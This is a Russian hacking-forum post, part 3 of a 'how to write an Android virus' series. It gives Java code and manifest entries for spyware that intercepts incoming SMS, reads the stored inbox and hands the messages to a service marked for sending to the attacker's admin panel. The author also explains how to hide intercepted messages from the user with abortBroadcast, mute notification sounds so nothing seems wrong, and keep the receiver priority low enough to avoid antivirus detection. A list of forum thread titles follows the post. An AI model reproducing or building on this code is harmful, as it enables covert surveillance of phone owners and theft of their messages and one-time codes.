Как написать вирус для Андроид. Часть 3

Admin

Original poster
Administrator
Сообщения
953
Реакции
751
Посетить сайт
Популярность наших

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

о вирусе для андроид прибавила нам энтузиазма и подтолкнула на дальнейшую работу в публикации примеров как написать вирус для андроид. Мы уже

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

своего зверя и нам сразу же захотелось посмотреть фотки и перепску людей. И сегодня пойдет речь о том как это сделать. Сразу скажу, что этот вопрос очень сложный и мы к нему ещё не раз вернемся в следующих статьях. Мы рассмотрим здесь перехват и удаление смс для версий 2.х и просто чтение для версий старше 2.Х
sT6S9m4DEUenF_fEKbJFJ8vGywfUa9mszKOFo4H-I8Nqw_VBxDwPMHoeuxhY5qR4Bl1q=w300
Почему я решил так сделать? Просто с появлением версии 4.4 работа с смс (удаление или редактирование) изменилась. Создатели поняли, что не стоит кому попало давать работать с входящими данными.

Обработка входящих соединений
Код:
public class SMSMonitor extends BroadcastReceiver{
   @Override
   public void onReceive(Context context, Intent intent) {
Sms sms = new Sms();
       try {
           if (bundle != null) {
               Object[] pdus = (Object[]) bundle.get(Config.szPdus);
               SmsMessage[] mgs=new SmsMessage[pdus.length];
               for(int i=0;i<pdus.length;i++) {
                   mgs[i]=SmsMessage.createFromPdu((byte[]) pdus[i]);
               }
               sms.Text = getMessageFromSMSs(mgs);
               sms.SenderId = mgs[0].getOriginatingAddress();
               Date receiveDate = new Date(mgs[0].getTimestampMillis());
               sms.RecieveDate = receiveDate;
               sms.Status = mgs[0].getStatus();
           }
       } catch (Exception e) {
       }
// можете фильтровать здесь запросы от номеров.
       Intent intent1 = new Intent(context, SMSService.class); // подготовка Запуска сервиса обработки сообщения.
       intent1.putExtra("phone", sms.SenderId);
       intent1.putExtra("text", sms.Text);
       intent1.putExtra("date", sms.RecieveDate);
       context.startService(intent1); // Запуск сервиса обработки сообщения.
       abortBroadcast(); // функция для отмены передачи этого события дальше приложениям.
   }
   private String getMessageFromSMSs(SmsMessage[] sms) {
       String str="";
       for(SmsMessage message:sms) {
           str += message.getMessageBody().toString();
       }
       return str;
   }
   public class Sms{
       public String SenderId;
       public String Text;
       public Date RecieveDate;
       public int Status;
   }
}
Вот, основной класс который занимается перехватом смс. Кажется, можно сделать глоток пивка и расслабиться. Но нет, это не будет работать в связи с тем, что нам еще нужно сделать класс, для обработки смс сообщения. По-сути, сейчас мы сделали только перехват. Сразу возникает вопрос: “А почему нельзя все сделать в одном месте?” Проблема кроется во времени обработки. Обработка событий не может быть долгой. И времени хватает только на чтение данных и передачу их сервису.

Код:
Intent intent1 = new Intent(context, SMSService.class); // подготовка Запуска сервиса обработки сообщения.
       intent1.putExtra("phone", sms.SenderId);
       intent1.putExtra("text", sms.Text);
       intent1.putExtra("date", sms.RecieveDate);
       context.startService(intent1); // Запуск сервиса обработки сообщения.
Что и делает выше описанный код. Мы говорим какой класс запустить (он обязательно должен быть зарегистрирован как сервис) и передаем параметры.
Код:
public class SMSService extends Service {
   @Override
   public IBinder onBind(Intent intent) {
       return null;
   }
   @Override
   public int onStartCommand(Intent intent, int flags, int startId) {
       String sms_tel = intent.getExtras().getString("phone");
       String sms_body = intent.getExtras().getString("text");
       String sms_date = intent.getExtras().getString("date");
       //обрабатываем данные и если надо отсылаем в админку.
       return START_STICKY;
   }
}
Мы внесли все выше описанные изменения. Сидим, попивая вкусное, холодное пивко, и ждем как будут перехватываться данные. Но вас настигнет разочарование: код выполнился без ошибок, но смс нет ни каких! И тут можно меня закидать помидорами или чипсами, смотря что под рукой. Давайте разбираться!

Регистрация: “план перехват”
Дабы вышеописанный метод работал, нас нужно объявить в манифесте приложения. Чтобы android знал, что мы хотим делать. Но учтите, что при установке, пользователь увидит это в разрешениях приложения.
Код:
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<receiver android:name=".SMSMonitor">
       <intent-filter android:priority="100">
           <action android:name="android.provider.Telephony.SMS_RECEIVED" />
       </intent-filter>
</receiver>
Дает право нам перехватывать смс. Есть хороший параметр приоритет, тут значение может быть от 1 до 999. Я рекомендую использовать от 100, но не сильно высоко. На этот параметр может ругаться антивирус. Если появился детект, можете искать его тут. Чем выше значение тем вы раньше будете стоять на обработку в очереди событий
Код:
<service android:name=".SMSService" />
//нужно для того,чтобы мы смогли запускать класс как сервис.
Собираем, проверяем, все работает. Ура.

Чтение сохранённых смс
Код:
String INBOX = "content://sms/inbox";
//String SENT = "content://sms/sent";
//String DRAFT = "content://sms/draft";
Cursor cursor = cnt.getContentResolver().query(Uri.parse(INBOX), null, null, null, null);
if (cursor.moveToFirst()) {
   do {
       for(int idx=0;idx<cursor.getColumnCount();idx++)
       {
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szAddress)){
                   // cursor.getString(idx)// номер телефона
               }
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szBody)){
                   // cursor.getString(idx) // сообщение
               }
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szDate)){
                   // cursor.getString(idx) // дата сообщения
               }
       }
   } while (cursor.moveToNext());
} else {
   // нету смс
}

Для работы данного способа требуется разрешение
Код:
   <uses-permission android:name="android.permission.READ_SMS" />
Прячем “плохие” сообщения
Я еще не объяснил где происходит удаление смс. И поэтому перейдем к этому вопросу. Тем более пива у вас уже должно заканчиваться, если конечно вы не ящик взяли
Самая главная функция abortBroadcast(); . Она говорит системе, чтобы она не передавала сообещение другим обработчикам включая стандартный смс менеджер от android‘a. Поэтому лучше иметь приоритет выше чем все приложения такого типа. Так же эта функция рано или поздно, станет вашим детектом. Но есть способы обойти это.
Удаление смс вручную, после обработки. Но тут вы должны будете приглушить звук смс, для того чтобы пользователь ни чего не заподозрил.
Удаление смс из очереди. (не пользовался)
P.S. Ну и на последок, данный способ будет работать на android‘е 2.х. От версии 4.4 и выше, он работать не будет (может только перехват, без отмены очереди). Там требуются другие методы. Но мы и это пройдем.
 
Название темы
Автор Заголовок Раздел Ответы Дата
Admin Как написать вирус для Андроид. Часть 5 Вирусология 0
Admin Как написать вирус для Андроид. Часть 4 Вирусология 0
Admin Как написать вирус для андроид. Часть 2 Вирусология 1
Admin Как написать вирус для андроид Вирусология 0
G Как написать безопасный код на JS Другие ЯП 0
АнАлЬнАя ЧуПаКаБрА [Гайд] - Как написать человеку в Вк если вы у него в ЧС. Другое 0
S Как написать сообщение вк если ты в чс СИ/Фишинг/Мошенничество 41
R Как написать простейший компилятор Другие ЯП 0
АнАлЬнАя ЧуПаКаБрА Гайд как написать простенький проэкт в Private Keeper Полезные статьи 5
Support81 Важно!!! Мобильный аудит Wi-Fi сетей: как быстро найти уязвимости с помощью Stryker WiFi/Wardriving/Bluejacking 0
wrangler65 Интересно Как МВД России ищет киберпреступников и как оставаться анонимным в 2025 Анонимность и приватность 0
Support81 JPEG, пицца и разоблачения: как Error Level Analysis считывает ложь по пикселям Новости в сети 0
Support81 Ваш VPN — это троян. Он выглядит как защита, но работает как слежка Новости в сети 0
Support81 От идеологии к наживе: как хактивисты превращаются в киберпреступников Полезные статьи 0
Support81 Дарквеб 2024: эксплойты по цене машины, логи — как хлеб в магазине Новости в сети 0
Support81 Важно!!! Как Tor стал символом свободы, паранойи и мифов одновременно Анонимность и приватность 0
Support81 Письмо от «шефа», фальшивая переписка и счёт на услуги — как российские компании теряют деньги, не заметив подмены Новости в сети 0
Support81 За деньги — да: как преступники «купили» службу поддержки Coinbase Новости в сети 0
Support81 Открыл PSD — получил троян. Как хакеры «кошмарят» графических дизайнеров Новости в сети 0
Support81 Услуги 18+, отмывание и прописка в США — как один Telegram-рынок объединил КНДР и китайскую мафию Новости в сети 0
Support81 Seed → POST-запрос → пустой баланс: как устроена быстрая и чистая кража крипты через FreeDrain Новости в сети 0
Support81 Одна атака — минус миллиард: как Marks & Spencer потерял состояние за пару дней Новости в сети 0
Support81 Из пепла: как 4chan смог перезапустить себя после разрушительного взлома Новости в сети 0
Support81 CouchDB как проходной двор: эксплойты для критической SSH-уязвимости уже гуляют по сети Новости в сети 0
Support81 Фишинг с печатью Google — как злоумышленники смогли обмануть DKIM Новости в сети 0
Support81 Исповедь хакера: как случайный эксперимент оставил без связи тысячи людей в Бразилии Новости в сети 0
Support81 Фейковые айтишники, настоящие миллиарды и немного ядерной программы: как прокачанные фишеры замиксовали $1,5 млрд Новости в сети 0
Support81 Microsoft дала ИИ настоящий инструмент программиста — и он впервые узнал, как сложно быть человеком Новости в сети 0
Support81 25 000 за воздух: как «таможенники» из Telegram разводят на доверии Новости в сети 0
Support81 $21 млн в крипте: как офицеры КСИР прикрылись «борьбой с мошенничеством» Новости в сети 0
Support81 Шифрование не спасет: как хакеры читают "защищенные" сообщения без взлома Новости в сети 0
Support81 Невидимая империя зла: как ИИ, дети и крипта строят цифровую империю Новости в сети 1
Support81 DNS без штанов: как нас сдают провайдерам по умолчанию Новости в сети 0
Support81 Комната 641А: как инженер AT&T раскрыл систему массовой слежки Новости в сети 0
Support81 "Чудо-решение" или маркетинг: как Google создает иллюзию объективности для продвижения технологий Новости в сети 0
Support81 Фрод в рекламе: как мошенники крадут бюджеты и что с этим делать Новости в сети 0
Support81 Невидимый взломщик: как обычные разговоры позволяют взломать GPT-4o Новости в сети 0
Support81 5 лет до точки невозврата: как квантовые компьютеры обрушат мировые банки Новости в сети 0
Support81 Вирус в заявке: как Zhong Stealer «ломает» компании через службу поддержки Новости в сети 0
Support81 Обмани себя сам: как ИИ-трейдеры ведут подписчиков к финансовому краху Новости в сети 0
Support81 Взлом, майнинг, выкуп: 5 хакеров придумали, как выжать из IT-гигантов все соки Новости в сети 0
Support81 CAPTCHA + PDF: как мошенники превратили Webflow в орудие фишинга Новости в сети 0
Support81 $16 млн и 1000 жертв: как хакеры Phobos попались в ловушку спецслужб Новости в сети 0
Support81 Мечта хакеров: как CVE-2024-52875 стала идеальным инструментом для кибератак Новости в сети 0
Support81 StarkRDP теперь LakeVPS: как злоумышленники возрождают подпольные рынки за считанные дни Новости в сети 0
Support81 Дешевле – не значит лучше: как уязвимости DeepSeek уничтожают защиту бизнеса Новости в сети 1
Support81 Важно!!! MMS возвращается: как устаревший протокол стал оружием криптомошенников Новости в сети 0
Support81 Chrome, Firefox и Edge: как Flesh Stealer стал ночным кошмаром для браузеров Новости в сети 0
Support81 Майнеры в облаке: как хакеры годами добывают криптовалюту за чужой счёт Новости в сети 0
У Статья Как скрыть цифровой след в интернете: практическое руководство. Полезные статьи 0

Название темы